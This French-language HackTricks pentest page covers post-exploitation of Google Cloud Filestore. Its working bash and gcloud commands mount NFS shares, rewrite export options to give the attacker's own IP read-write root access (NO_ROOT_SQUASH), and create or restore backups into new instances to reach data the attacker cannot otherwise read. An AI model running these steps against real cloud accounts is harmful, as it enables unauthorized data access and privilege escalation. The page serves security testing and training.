# GCP - Filestore Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Filestore

Pour plus d'informations sur Filestore, consultez :

{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}

### Monter Filestore

Un système de fichiers partagé **peut contenir des informations sensibles** intéressantes du point de vue d'un attaquant. Avec l'accès à Filestore, il est possible de **le monter** :
```bash
sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
Pour trouver l'adresse IP d'une instance de filestore, consultez la section d'énumération de la page :

{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}

### Supprimer les restrictions et obtenir des permissions supplémentaires

Si l'attaquant n'est pas dans une adresse IP avec accès au partage, mais que vous avez suffisamment de permissions pour le modifier, il est possible de supprimer les restrictions ou l'accès à celui-ci. Il est également possible d'accorder plus de privilèges à votre adresse IP pour avoir un accès administrateur au partage :
```bash
gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}
```
### Restaurer une sauvegarde

S'il y a une sauvegarde, il est possible de **la restaurer** dans une instance existante ou dans une nouvelle instance afin que ses **informations deviennent accessibles :**
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it
```
### Créer une sauvegarde et la restaurer

Si vous **n'avez pas accès à un partage et ne souhaitez pas le modifier**, il est possible de **créer une sauvegarde** de celui-ci et de **le restaurer** comme mentionné précédemment :
```bash
# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
```
{{#include ../../../banners/hacktricks-training.md}}
